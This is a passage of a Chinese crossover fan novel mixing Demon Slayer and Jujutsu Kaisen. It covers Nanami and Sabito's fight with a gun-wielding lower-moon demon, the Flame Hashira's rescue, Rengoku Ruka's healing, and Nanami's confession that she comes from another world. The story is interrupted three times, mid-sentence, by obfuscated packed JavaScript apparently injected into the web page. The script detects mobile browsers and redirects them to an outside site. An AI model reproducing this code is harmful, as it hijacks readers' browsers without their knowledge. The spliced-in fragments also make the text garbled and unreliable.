“上天让我的诅咒有了成形的机会，祂已经认可了我的复仇，为什么你们还要来挡路！” “砰砰砰！” 三枪！是枪弹出膛的声音！ 顾不上梳理鬼与咒灵的联系以及其他纷繁杂乱的想法，日野奈奈拼尽全力朝锖兔的方向扑去。 在这个热武器还未广泛普及的时代，枪对刀无疑是降维打击！ “锖兔！！” 咒力被榨空的身体支撑不了剧烈的动作，日野奈奈刚扑出去就腿软滚到了地上。 倒下前，她咬紧牙关拼尽全力朝鬼的方向掷出手中的刀。 咒具长刀飞射而来，鬼偏偏头，轻松躲过袭击。 它瞥了一眼少女的方向，见她只能在地上颤抖趴伏，一双眼睛漂亮地流着血，正冰冷地看着它。 重伤，毫无威胁。 它收回视线，饶有兴趣的眼神转移到眼前尚还直立的少年身上。 “哦？这么近的距离还能躲开吗？” 锖兔的龟纹羽织破开一大半，他垂眼看了一眼自己的衣服，冷冷地看向鬼。 他战斗的姿势还是无可挑剔，背在身后的手却无法自控地淌下血。 滴答。 草鞋旁蓄起小小的血泊。 日野奈奈一看就知道他中弹了，现在只是在强撑。 胸膛剧烈起伏起来，眼白泛上憎恶的血丝。 动起来啊，动起来啊！ 她双手抖动着，努力想把自己从地上撑起来。 鬼毫不在意面前少年到底是什么状态。 它嘻嘻笑着：“但你也是强弩之末了吧，我看到了，你握刀的手在颤抖啊。与我的诅咒作战已经耗费你的大部分力量了吧？” “放弃吧，放弃吧，炼狱这种恶心的家伙有什么值得你们拼命的必要呢？” “我感受到了啊，那个女孩子趴在地上颤抖的样子，你很愤怒，很生气吧？” “只要不阻拦我杀掉炼狱，你可以带着那个女孩子走哦。” 鬼上前，故作大方地在锖兔的肩膀上拍了两下，露出怜悯的目光。 锖兔垂着头，面容隐在阴影里看不清。 疲累的喘息声从他口中溢出，还有手上剧痛的豁口，他差点以为自己的手断掉了。 直面看不见的敌人，周旋十几分钟，已经够糟糕了，更别说突然出现一只拿着他看不懂的武器的鬼…… 但杀鬼乃大丈夫之责任，更何况奈奈就在前面…… 动起来，锖兔，动起来—— 鬼见他握刀的手紧了又紧，还是没有动作，以为他算是识趣，嘲讽地笑了笑。 地上的影子扭曲两下，一只形如野狼的黑影站立起来，吻部滴落涎水。 它凶恶的目光和鬼一起投向了角落的炼狱。 炼狱杏寿郎刚想悄悄上前拖走日野奈奈，见鬼的注意力转来，浑身警戒起来。 少年金红色的发丝和瞳色，刺眼得如同白天的日光。 鬼的面容登时变得恐怖至极。 “恶心，恶心，恶心！” 它突然发疯，往自己嘴里连开两枪，带着血肉模糊的头颅朝炼狱杏寿郎冲去。 手里的枪平举起来，对准了金红色的少年。 电光石火之间，炼狱杏寿郎猛然上前抽出少女腰间的另一把日轮刀，在面前做出防护的动作。 “砰！” 鬼瞳孔一缩，准心歪了！ 视野倾倒，它眼睁睁看着金红色的那个少年躲开了自己的一枪。 稳住了自己的身体，鬼怨恨地低头看向自己的脚踝。 扯住他后腿的日野奈奈冲它露出挑衅的笑容。 少女有着与鬼同样恶劣的笑容和语气。 “呀，看来你的实力也不怎么样嘛，这么容易就被我干扰了呢……咳！” 鬼一脚将她踹开五六米远。 日野奈奈在地上滚动两圈，再抬头时鬼的面容已经贴上了她的眼睛。 那张遍布鬼纹的脸在日野奈奈眼前放大，嘴角因愤怒和狰狞裂至耳后。 “令人作呕的虫豸！真是敬酒不吃吃罚酒！” 他身后的影子张开大口，朝少女的头颅撕咬而去。 千钧一发之际。 一声从喉间狠命挤出的低沉可怖的嗓音。 “水之呼吸·十之型·生生流转！” 圆斩交错，厉水作刃，狂暴的水龙以滔滔不绝之势猛然切断鬼爪鬼影！ 闯入人鬼之间的少年羽织飞扬，挡在了日野奈奈面前。 “别搞错了啊，你的对手可是我。” 锖兔抬头，银色的眼瞳里狠意弥漫，握刀的手臂青筋毕现，血迹染红了深蓝刀刃。 被刀势逼出几米外的鬼冷笑着长出新的手，恶毒的眼神在锖兔和奈奈之间徘徊。 “好，好，我给过你们逃跑的机会，既然你们执意送死，那么我就如你们所愿！” 一个已至极限的少年，一个失去武器的重伤少女。 看他将这两个弱小的猎鬼人吞吃入腹！ 翻至眼后的鬼瞳乱动着回到正位。 邪异的瞳孔中间正写着“下肆”二字。 ——下弦之肆，鬼之下弦！ 锖兔握刀的手一紧，肌肉极度疲劳的手颤抖起来。 他猛然用左手覆住颤抖的右手，眼神执著而坚定。 ——不可退！ 正当这时，锖兔身后的少女忽然撩腿一扫。 刹那间庭院里的白沙和碎砾飞扬上天，遮蔽了下弦鬼的视野。 少年少女的身影消失在再次弥漫的尘雾中。 下弦鬼狞笑一声，觉得此番举动可笑：“无用之举！” 他抬枪朝烟尘里猛开数枪，身后影狼也随之窜入其内寻觅撕咬。 血腥味从尘埃间扩散开来。 下弦鬼露出狰狞的笑，下一秒他的笑容僵硬在了脸上。 烟尘散去。 名为锖兔的少年毫发无损地站在数十米外的废墟之上，居高临下地俯视着它。 破损的衣物已遮不住他的上身，袒露的胸膛上，所有的血迹和伤痕统统消失，只余紧实健康的肌理。 伤口全部痊愈了？！ 鬼竖瞳立成极细的直线，几乎不敢相信自己看见的。 锖兔再次举起手中之刀，呼吸之气从他唇边溢出。 再一眨眼，肉粉色的少年消失在原地。 鬼的面前，刀影突现！ 交手的瞬间，下弦鬼本就惊愕的心情更加骇然。 好硬的刀，好惊人的气势！ 少年人原先的疲态全数消失，他的脸庞冷峻肃然，每次挥刀都精准无比地砍向鬼的四肢与脖颈处。 一刀比一刀更凌厉，一刀比一刀更暴怒。 鬼往身后突拉一大段距离，远远朝锖兔开了五枪。 一枪被躲过去，又一枪被躲，又一枪…… 不对，这枪中了！ 被击中的瞬间，血液从少年的身体喷溅而出，伤口因为子弹高速旋转命中而爆裂开来。 然而下一瞬，伤口以肉眼可见的速度编织弥合。 叮。 被血肉排出来的子弹掉落在地，发出清脆的声音。 属于少年的血液气息出现一刹后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158045|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便迅速消失。 怎么回事？！ 下弦鬼惊恐地瞪大眼睛，如同看到了不可思议、无法理解之物。 不可能，不可能！ 鼻尖的血腥味明明一直萦绕着，有人受伤了，持续地受伤，但是血腥味不属于这个少年…… 那个女性猎鬼人！ 下弦鬼的眼珠乱转，锁定了几十米外被恶心炼狱扶在怀里的少女。 她正大口大口地吐血，原本五官里已经止住的血液又在狂飙。 七窍流血的日野奈奈见下弦鬼惊怒惧怕地投来眼神，笑着冲它倒竖拇指。 她的话语因血液含糊不清：“只许你用咒灵和AK作弊，还不许我一个正统咒术师开挂吗？” 双手强行输出的咒力量源源不断地送往远处。 “三态日轮·晨曦式·阳晖！” 术式在日野奈奈和鳞泷锖兔间建立起咒力通道。 “这招本来只能近距离使用的，都怪你的咒灵给了我灵感啊，原来咒力用那种方式也能建立连接呢。” 日野奈奈笑着笑着咳嗽起来，血液从她身上更汹涌地涌出。 ……已经透支了啊。日野奈奈想。 “……杏寿郎，请再抱紧我一点。”少女虚弱道。 鲜血在怀中绽放成花，炼狱杏寿郎沉默着抱紧了日野奈奈，像是要把人勒进身体，以身替人。 随着和炼狱杏寿郎的接触面积再次扩大，更多细密的咒力渗入日野奈奈的身体。 少女全力维持着术式的运转。 拜托你了，锖兔，再拖一会儿吧。 她想。 锖兔的身影再次如无垠大海向鬼汹涌袭去。 身体已然在奈奈的帮助下恢复巅峰状态，但精神上的疲劳不可避免。 锖兔再次控制自己挥下精准一击，阻拦鬼暴怒着想去找日野奈奈和炼狱杏寿郎的身影。 他明白日野奈奈未说出口的话语。 ——再坚持一会儿。 再继续坚持！ “可恶，啊啊啊，可恶！！” 被锖兔死死缠住的下弦鬼发出刺耳锐嚎，它忍无可忍地退后数步，憎恶地看着面前所有人。 “我要杀了你们，杀了你们，杀了你们！！” 鬼撕扯着自己的脸，将影狼全数招出，狰狞着脸乱数放枪。 枪声响彻了这方天地，枪弹敌我不分地四处攻击！ “他彻底失去理智了！”日野奈奈急声。 锖兔的日轮刀在自己面前密不透风斩出刀势，将射来的子弹尽量挡去。 血痕在他身上四处延伸，又止住。 下弦鬼怨恨地看着他们，身形急速膨胀起来。 “血鬼术·卤获腔·战祸阵狼！”* 分离出去的狼影尽数回到了下弦鬼的身上，凝成无比高大的一具狼兽躯体。 壮硕狼身几乎遮天蔽月，那双镶嵌在狼头的鬼眼猛然睁开。 无形威压猛然扩散开来，细碎影子如飞刺般倒掠而出，周围废墟粉碎得更加彻底。 前所未有的威慑感！ 这就是下弦之肆的真实实力吗！ 锖兔的后背冷汗直冒。 他能做到吗，他真的能做到在这里拦住下弦肆虐杀的脚步吗？ 他真的可以阻止实力如此强大之鬼的攻击，护住身后之人？ ——他必须可以！ 唯独鳞泷锖兔，不可自我犹顿、自轻自贱！ 锖兔咬牙提刀，高举起来—— 正当此时。 “轰！” 这方废墟不可控制地天晃地动起来！ 刚准备展开进攻的下弦鬼和锖兔惊疑不定地顿住，视线投向周围四处。 “轰！” 又是猛的一声轰击。 方向是……外界！ 日野奈奈眼神一亮。 终于来了！ 她咳着血，快速掐出手势，取消了“帐”的结界。 在结界取消的一刹，滔天火光以无可比拟的狂怒之势激射。 浑身浴火的男人瞪着金红眼瞳，如同被侵犯领地的雄狮，暴虐劈斩而来！ “炎之呼吸·五之型·炎虎！” 21.坦白 烈焰之斩迎面劈来，高温迅速向鬼逼近。 下弦鬼没看清来人是谁，但那股熟悉的火焰让它浑身战栗起来。 恐惧，生命被深刻威胁的恐惧。 它当机立断放弃了与锖兔的对峙，将阴影凝缩到极致，朝庭院外逃去。 虽然它逃得快，但日轮刀更快。 火光之下，所有阴影无所遁形。 男人只一斩，便将它劈开了半身！ 下弦鬼发出了撕心裂肺的惨叫，男人脸上爬满暴怒的青筋，怒不可遏地斩出第二刀。 鬼的头颅飞至空中。 第三刀，断头被劈成两半，第四刀，身体四分五裂…… 第五第六第七刀—— 十几刀后，与锖兔僵持不下的下弦之肆化为碎沫。 焰刀一振，鬼血洒落。 ——秒杀下弦。 “……这便是鬼杀队的柱。”奈奈喃喃。 碾压级的实力。 只要杀得够快，哪怕这鬼会使枪，也没时间拔出来。 亲眼所证的感觉远比被告诉“柱是最强级”时的感觉更深刻。 阴沉的眼神在鬼死后随之扫来。 男人的目光焦急而恐惧地环绕四周，扫过抿唇收刀的锖兔和勉强坐起身来的日野奈奈，最后质问炼狱杏寿郎。 “你母亲呢？” 杀意重新复现。 “我说过，在我离开时照顾好你母亲吧？” 炼狱杏寿郎端坐，大声道：“母亲非常好！因为刚刚在战斗，所以暂且躲起来了！” 炼狱槙寿郎怒斥：“鬼在此处，你竟然不优先把你母亲送出战场？”他不敢置信地指向杏寿郎，手指气得颤抖起来。 “你母亲病成那样……！” 日野奈奈已经擦去了自己满脸的血，她干咳两声，像是小学生一样举起手。 高举的手引起了炼狱槙寿郎的注意，他瞪向少女的方向。 日野奈奈：“炎柱前辈，炎柱大人！杏寿郎说得没错，您夫人现在很好哦，非常健康！” 炼狱槙寿郎完全不记得他们有过一面之缘，见自己的问话被一个低级队员插嘴，冷冰冰道：“这里没有你说话的份，滚。” 呃，好凶！ 日野奈奈缩了缩脖子，暗示地看向杏寿郎。 快让瑠火夫人出来吧，不然这头狮子要发疯了！ 杏寿郎对自己父亲的脾性颇为了解，他转头看向坍塌的废墟之后。 在炼狱槙寿郎发疯前，柔和坚韧的声音插入对话。 “槙寿郎，我就在这。” 熟悉的嗓音让炼狱槙寿郎一顿，随后欣喜担忧地看去。 “瑠火——” 忧虑的目光在触及直身端庄的妇人时顿住，那双阴郁暴躁的金红眼瞳睁大。 站在他面前的妻子穿着他走之前的寝衣，脸上的神情如他记忆中一样冷静淡然，透着一股坚强的韧劲。 但是那双因为疾病而黯淡疲倦的红瞳此刻却明亮剔透，璀璨得如同纯净的红色玛瑙，倒映着他呆滞的模样。 炼狱瑠火看着炼狱槙寿郎怔愣的样子，红瞳里涌上心疼与喜悦的泪意。 她上前几步，将自己的情感自对视中送往对方。 “槙寿郎……我生病了这么久的时间，你一个人辛苦了。” ……她知道的，槙寿郎一直以来的恐惧，无法面对她可能会离去的事实。 自年少结为夫妻以来，他们一直彼此扶持、心意相通，每次疲倦地杀鬼之后，槙寿郎情绪崩溃时便会将面颊埋入她的怀中。 如孩子一般卧在她怀里的槙寿郎，哪怕成为炎柱，也仍是年少时认识的那个不够坚强的少年啊。 这么久以来，让你一个人挺住这个家，辛苦你了。 炼狱瑠火眼角晶莹划过。 那双本该冰凉瘦削的手捧住炼狱槙寿郎的脸，从肌肤相贴处传来源源不断的、炼狱槙寿郎梦寐以求的、代表爱人身体安适的暖意。 腰肢挺直，姿态优雅，明目含笑。 属于他的、健康的瑠火。 炼狱槙寿郎愣愣道：“……瑠火？” 他粗糙的手颤抖起来，抚上炼狱瑠火的脸颊，像是被渴盼已久的美梦捕获。 手下传来柔软温暖的触感。 不是梦。 是一切安好的，他的瑠火。 夫妻二人紧紧拥抱在一起。 在夫妻二人相拥之时，一群隐快速进入战场收拾残局，惊讶于内部的破坏程度，有异样的眼神投向奈奈和锖兔。 刚刚在炎柱大人进来前，他们无论如何都进不了这片区域，里面果然发生了让人胆战心惊的战斗啊。 有隐跑来询问情况，奈奈表示自己没受伤，锖兔亦然，于是隐们便将重点放在了抢救炼狱府上。 在咒灵和鬼死后，属于人类的秩序开始接管这一片区域。 日野奈奈见此情景，长舒一口气。 余光瞄到了盯着父母的小猫头鹰，日野奈奈用胳膊肘顶了顶炼狱杏寿郎。 她直白道：“想上去就上去呗，你也很想拥抱你母亲吧。” 炼狱杏寿郎回过神来，摇了摇头：“……不，现在就让父亲和母亲静静地待一会吧。父亲和母亲一定比我更需要这个时刻。” 太懂事了啊，杏寿郎。 日野奈奈想。 见炼狱杏寿郎确实没有过去的打算，她想了想，道：“那你扶一下我，我想去看看那只鬼死掉的地方。” 炼狱杏寿郎闻言点了点头，他小心扶起日野奈奈，手克制地帮忙搀住少女的半身。 但还没走出一步，另一双手接过了他的动作。 “我来吧。” 平静疲倦的语气，熟悉的环抱臂膀的力道。 是锖兔。 他撑住了奈奈缺力下滑的身体，让少女的左手挂在自己的肩颈处，自己的右手则握拳环过奈奈的腰。 日野奈奈的体重压在锖兔身上。 日野奈奈：“你不累？” 锖兔看了她一眼：“托有人的福，现在身体好得很。” 顿了一下，他的手松了松：“……现在还需要跟他肢体接触吗?” 日野奈奈眨了眨眼睛，反应过来锖兔在说炼狱杏寿郎。 之前通过杏寿郎补充咒力的情况果然被注意到了。 也是，她表现得那么明显。 奈奈说：“不用啦，现在没有在战斗嘛，自然恢复就可以了。” 一旁的炼狱杏寿郎手指蜷了蜷，他和锖兔对视一眼。 看来这里暂时不需要他了。 “那么接下来日野小姐就麻烦你了。”杏寿郎说。 锖兔紧了紧握住奈奈的手：“她不是我的麻烦。” 炼狱杏寿郎笑起来，看了奈奈一眼，转身离开。 见炼狱杏寿郎走掉，奈奈只以为他更想去那边帮忙，也没多想，笑嘻嘻地拿脑袋蹭了蹭锖兔的头发。 “锖兔也不会是我的麻烦！”她说。 “走吧走吧，带我去看看咒灵鬼~” 战斗结束，也是时候看看目前是什么具体情况了。 在这片“诅咒”被诅咒了的世界，咒灵明明应该是禁绝的存在。 但这里为什么会平地无故起咒灵，鬼又为什么会和咒灵勾结到一起？ 还有那个咒灵藏身的缝隙，在咒灵爬出后就彻底消失掉了，那又是什么？ 怪异之事接踵而来，真是让人血液沸腾啊。 日野奈奈想。 而且不知道是不是她的错觉，哪怕离开了炼狱杏寿郎这个“咒力来源”，空气中似乎仍飘溢着其他的咒力，一股既不属于奈奈也不属于咒灵的咒力。 这一切的发生就像是她触碰到了某个临界点，某种可能性正在慢慢复苏。 啊啊，好在意，好好奇！ 日野奈奈继续蹭锖兔，略微带上催促的意味。 锖兔被她蹭得有些痒，脸蛋不自然地侧了侧：“知道了知道了。” 侧过头的时候，奈奈被血浸染的衣服下摆被锖兔纳入眼底，他耳尖的红色缓缓褪去。 战场上日野奈奈流血的样子在记忆里一闪而过。 给予他人创口愈合的福祉，她自己的身体却在对他者的帮助中反噬其身。 他抿直了唇：“……你的那种奇怪力量，就是你之前提到的‘咒力’吗？” 锖兔在说奈奈和他来炼狱府路上的事。 奈奈也想起来之前未完的对话，被他带着慢慢往前走：“算是吧，严格来说是我的咒力注入术式的结果。” 之前来炼狱家前她与锖兔解释过“诅咒”相关的东西。 那时因为时间关系只是很粗略的介绍，现在倒是有多余工夫可以展开具体讲讲了。 奈奈老师（半吊子，无教资），上线！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173480|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “咒力嘛，就是由人类负面情感转化而成的能量，比如生气或者害怕的时候，这些波动的情绪就会转化并生成咒力，供我们咒术师使用。而术式的话，怎么解释呢……” 她苦恼地歪头，脑海里浮现某个笑眯眯的白毛教师。 五条老师的奇妙比喻！日野奈奈眼前一亮。 “如果把咒力比作电能，那么术式就算是输出电能的电器哦。唔，锖兔知道电能和电器吗？” 锖兔：“……不太了解。” 奈奈的眉头皱起来，开始苦大仇深地在脑海里搜刮其他类似表述，企图给锖兔讲明白。 一步一步走的过程中，锖兔和奈奈的身体靠得很近，肌肤透过破损的衣物贴在一起，像是凑团取暖的小动物。 但是透过奈奈的每一句话，锖兔却觉得她离自己好远。 诅咒、咒力、术式，轻描淡写地说出“电”这种大城市才刚刚时兴的东西，像是这些都是日野奈奈生活里时刻接触的物件。 她熟练掌握的这些能力，他在认识奈奈之前闻所未闻。 在迄今为止的人生中，鳞泷锖兔以为这个世界上留存的最大异样便是“鬼”，只有鬼是搅乱人类平静生活的存在。 但是现在事实却告诉他，不止。 这个世界上不止有鬼。 耳边少女还在活泼地碎碎念，那个他从未接触过的、属于诅咒的世界在他的脑海中勾勒成型。 很陌生，让人不安。 锖兔想起了初入东京时的话语。 看见日野奈奈对东京的怀恋，他曾猜想她的故乡在东京附近。 现在看来，真的在东京吗？就是在东京隐藏有“诅咒”这些东西吗？ 隐藏着这些他十几年都未曾感知到的扭曲之物，以他的感官只要接触到便能察觉异样的透明之物？ 还是说，奈奈所说的故乡…… 真的在“这个”东京吗？ 另一个难以置信的猜测在锖兔心里翻起惊涛骇浪。 “锖兔！”日野奈奈不高兴地打断少年的漫想。 “你有听到我刚刚说的话吗？”她问道。 锖兔像是刚从水里探出头来：“什么？” 日野奈奈盯了他一会儿，撇了撇嘴：“锖兔很坏诶，我在这边嘚吧嘚吧跟你讲，你却在一边自顾自发呆。” 她强调：“我超级认真在跟你说那些话的！” 锖兔收敛了自己的思绪，将奈奈的身子稳了稳：“抱歉，接下来不会了，你继续说吧，我想听。” 日野奈奈叹气：“好吧，那我再讲一遍。” “锖兔，咒术师的那个世界很残酷，残酷到与地狱无异。” 少女被少年搀扶着，慢慢走近咒灵与鬼消散的地方。 “利用源于负面情感的咒力，与诞生于负面情感的诅咒作战，很扭曲的事情，因为这意味着咒术师用于战斗的力量与敌人本身同根同源。每一次挥刀、每一次战斗，都是从自己的身体里榨取与敌人血肉无异的力量。” “……有时候都很悲观地在想，咒术师对阻杀咒灵的执念，不就是一种很扭曲的诅咒吗？一直、一直这么存在着，从很久前便存在着。” “但这些都不存在于你的世界。” 日野奈奈声音很轻。 “你应该也能感受到吧，咒力、术式、咒灵……跟你身边的一切格格不入，就像是另一个世界的造物一样。” “其实没错哦，”奈奈说道，“这些都是不属于这个世界的东西。” 锖兔怔住。 再走两步，脚尖便能触及咒灵死去的地方，空气中那种属于诅咒的古怪波动越来越淡，但却也如此分明地存在着。 日野奈奈在他肩膀上环着的手很柔软，捂在手心里残留的血迹细密地深入锖兔脖颈的皮肤。 很暖，很湿，带着混着水汽的黏意。 血气之外，还有另一股很浅淡的、自少女身上飘来的香气，令锖兔头晕目眩。 某种未宣而明的预感让锖兔的心狂跳起来。 日野奈奈凑近了锖兔的耳朵，热气喷洒在少年的耳廓上。 她小声对锖兔说：“就像我，也不是属于这个时代、这个世界的人哦。” 锖兔的大脑空白一瞬。 很轻柔的话语，像是一阵飘忽的风，突然就吹来了，吹来了一片心湖的涟漪。 锖兔心底的那个猜测……落实了。 22.硝烟散去 世界之外还有世界吗？ 锖兔从没有想过这个问题，这个问题不属于他以往思虑的范畴。 家人被鬼杀害，自那一天起对鬼的恨意便萦绕不去，他的生活中唯有刀剑、训练、鬼，都是冰冷且让人感到辛苦的事物。 他的世界并不大，可以预见的是，残灭恶鬼的执念将填满自己的余生。只有和师父、真菰、义勇相处时，心脏才有温暖的知觉。 坦坦荡荡大丈夫，他欣然迎击注定鲜血淋漓的人生，也会一直在这样的世界里走下去。 然而意外出现了。 起初只是在选拔中偶然邂逅，目光在笑意盈盈的少女脸庞上停留、又很快移开。 本以为是萍水相逢的队友，而后却被那种不可思议的力量打动。 与自己并肩的卓绝杀鬼之技，以及危急关头能治愈他的能力。 赞佩与感激的情绪一同席卷而来。 拥有与鬼相似的愈合能力，却是明明白白的人类，是强者，勇者，善者。 于是在原有的情感之外，好奇之心不可避免地燃起。 那份源于脱轨和无法掌握而愈演愈烈的探究之心，就这样在只活于杀鬼、变强、担责之中的锖兔身上不断生长着。 种子在沉寂的水底种下，在一路的注视与相携中抽根发芽，思维的枝桠顺着他说不出的某种隐忧蔓延而开。 越是交谈越是若有所悟，越是靠近却越像是远离。 她是毋庸置疑的强者，却一直在对外自献，可以握刀斩杀敌人的强韧身体被他难以认知的力量消耗着，却又毫不在意，常对他和其他人展开的没心没肺的笑容像是隔着一层朦胧之雾。 怎么会有这么对自己不知所谓又执著于帮助他人的笨蛋啊。 鳞泷锖兔会这样在意，也为此烦恼，接着自然而然地把守护日野奈奈的生命揽入自己的责任之中。 不管她是怎样的人，至少他们在这个世界上是彼此依靠的队友，因此一定要作为可靠的存在陪伴在她的身边。 可生命终究是难以把握之物。 当他如此决心时，眼前有着亮晶晶眼神的少女明晃晃地把一个难以置信的事情摆在他面前，无比坦诚。 那个他从未深入思考过的问题，世界之外还有世界吗？ 荒诞的现实透过少女的话语笑着回答他。 有的。 就像眼前这份被他重视的、想要握住的生命，其彼端就系在遥远的另一头。 在另一个，他陌生无知的世界。 日野奈奈看见锖兔的身体像是被震了一下，少年的耳廓擦着她的面颊过去。 肉粉色的发丝扎得她有些痒，日野奈奈用手指挑了一下锖兔的鬓发，又懒懒地半靠在锖兔肩膀上。 少年怔愣地任她靠着，月光在他的银瞳里明明灭灭。 “听起来确实很离谱啦，不过是真的。”日野奈奈有些不好意思。 她嘀嘀咕咕：“也不是想故意瞒着你们，但这种事情解释起来很麻烦，对吧？而且我一开始就说的话，估计也不会被锖兔相信，什么诅咒啦，咒术师啦，简直就是妄想病人的幻想，肯定会被当做脑子有问题的人。” 但一鼓作气把这种在心底淤积已久的事托出来，身上真的松快好多。 她终于将秘密托付出去了。 原先意外来到这个陌生的地方，总是觉得自己很快就会被接回去，就像每次遇险时被夏油老师他们平复困难一样。 但这么久下来，哪怕再迟钝，日野奈奈也意识到了这会是一场属于她的孤身持久之战。 幸好，有信任的友人出现在她的身边。 少女和少年的身形依偎在一起。 见锖兔迟迟不出声，日野奈奈调侃道：“怎么样，被新世界震撼了吗？这可是锖兔追问我的哦。” 这下锖兔总可以放心了吧，她想。 总是一副怪她自顾自隐瞒什么的样子，这下好了，她该说的基本都说了。 在奈奈看来，他们之间已经彻底敞开心房。 ……不过，显然这个事情还是给了锖兔很大的冲击呢。 她瞥了一眼锖兔的脸色，有些心虚地转开视线。 鬼的余烬几乎消失殆尽，日野奈奈决定给锖兔继续消化的时间，于是挣脱开少年的搀扶，在到达的空地上轻轻摩挲起来。 锖兔的手下意识往她的方向延伸了一下，银瞳滞缓地凝在少女的身上。 她似乎恢复了一些力气，但并没有很多，很耿直地一屁股坐在地上，也不嫌地上砾石硌人。 绑好的黑发在战斗中被打散，逶迤着铺在背上、肩上，被庭院里的微风掀起优柔的弧度。 锖兔的目光定在摇摇晃晃的发尾上，远处隐来往吆喝的声音渐渐传入耳中。 他慢慢地回神，在奈奈旁边蹲下，眼睫微微垂着，一只手再次虚虚扶在少女的身旁。 “……就这么告诉我了吗。” 日野奈奈在地上摸来摸去，闻言漫不经心道：“当然了，既然决定把诅咒告知你，那么我真正的家乡也理应被你知道。” “锖兔是能给人安全感的存在哦，能把这些事毫无保留地告知，都是因为锖兔是我信任的人啊。” “啊。”她像是突然想起了什么，身体猛地直起来。 高兴的视线投向锖兔：“之前锖兔还说过要陪我回家乡看看呢，这句话还会作数吗？” 锖兔一怔，少女期待坦然的视线与他交汇。 手边属于日野奈奈的温度透过空气源源不断传来，是近在咫尺的距离，稍微用力就可以彼此拥抱，而不是在他无法触及的遥远之地。 彷徨的心忽的柔软下来。 奈奈还记得呢。 他说道：“另一个世界……真的很远啊。” 接着笑了起来：“不过听上去真不错，所以，还作数哦。” 哪怕要跨越不可能跨越的屏障，也去看看吧。 日野奈奈曾经生活着的那个地方。 能明显感觉到身边人的气息柔和下来，日野奈奈眨了眨眼。 但锖兔已经专心帮她探查起鬼消失的位置，于是她便没有再在意，兴冲冲地循着能感知的异常走。 在他们谈话之间，咒力残秽已经很淡了。 沿着最后的指引，日野奈奈被锖兔扶着，停在了坍塌的废墟前。 那是炼狱瑠火之前待着的房间，也是缝隙出现和消失之处。 下弦鬼太能跑，窜天猴一样被炎柱碾到了挺远的另一个角落。 以至于奈奈走回这里又耗费了刚恢复的体力。 站定的时候差点没腿软趴锖兔身上。 ……依赖咒力杀鬼的局限性在这次战斗中体现得淋漓尽致。 平时普通的鬼还好，不管是咒力加持还是治愈小伤口，咒力的消耗都在可控范围内。 但遇上厉害的鬼，又是要提高身体强度，又是用术式治疗致命伤，咒力的输出负担太大。 而抽空咒力的后果有目共睹。 日野奈奈停下来，喘了两口气，跟锖兔吐槽。 “我觉得我得试着学学呼吸法。” 锖兔睁大眼睛：！ 奈奈说道：“原本的体术依赖咒力，在这里终究不是长久之计，把咒力专门留给战后的治愈应该会更游刃有余，我不想每次遇到强鬼都搞得这么狼狈……你那是什么眼神！” 锖兔默默收回一个欣慰眼神。 “更何况咒灵都懂得和鬼狼狈为奸，与时俱进，我也不能落后。”日野奈奈嘟囔着。 锖兔：“……请不要把自己与肮脏的东西相提并论，但我非常支持你的想法。” 倒不如说早该这样。他想。 ……他早看不惯日野奈奈使用咒力燃尽自己的样子了。 日野奈奈不知道锖兔的腹诽，愉快地昂起了头。 短暂的交流后，她的注意力再次回到废墟之中。 思考了一下那道裂缝是如何出现的。 日野奈奈试探性地将咒力凝出来一点，向那片空气探去。 平静流缓的空气泛起异常的波动，如看不见的水面一般泛起隐形涟漪。 有用！奈奈眼睛一亮。 她试着往前抓去，但那丝涟漪很快就消失了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184133|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 日野奈奈看了看自己的手心。 原本就是硬挤出来的浅金色咒力已经消散了。 ……裂缝的打开果然跟咒力量有关啊，真不巧，她还是亏空的状态。 日野奈奈遗憾放弃，环顾一圈记下了这个位置。 之后恢复了再来。 不知道炼狱府的基建速度快不快，希望之后来的时候不会因为崭新的建筑迷路。 “日野小姐。” 温和的女声从后方传来。 日野奈奈转头，大病初愈的妇人被自己的丈夫小心拥在怀里，红瞳静静与她对视。 是炼狱瑠火。 不久前还因咒灵缠身病重在床的女人此刻已然恢复往日的风采。 属于当家主母的镇肃气息在炼狱瑠火的身上浮现，但日野奈奈并没有感受到任何压迫感。 炼狱瑠火的眼睛里只有对她的浓浓的感谢之意。 “救命之恩，没齿难忘。”她朝日野奈奈深深欠身。 少女于月夜下朝她掠来的姿态深嵌炼狱瑠火的脑海。 那数道金色光痕在她被疾病威胁的躯体上游走，视野中，那种属于奇怪生物的黑气被强行斩断，随后暖意涌入和修补她虚弱的身体。 明朗起来的视野里，这位突然出现在炼狱府的少女为了治愈她而浑身浴血。 炼狱瑠火内心的惊诧无以言语，但为了不拖众人的后腿，在发现自己康复的一瞬，她便转移到了安全的角落。 她在角落里目睹少女坚强地支起身体，为了杏寿郎而被鬼踢走，血液在空中扬出残忍的弧度。 随后又为了治愈那位名为锖兔的少年，一次次地吐血、透支，又拼命坚持下去。 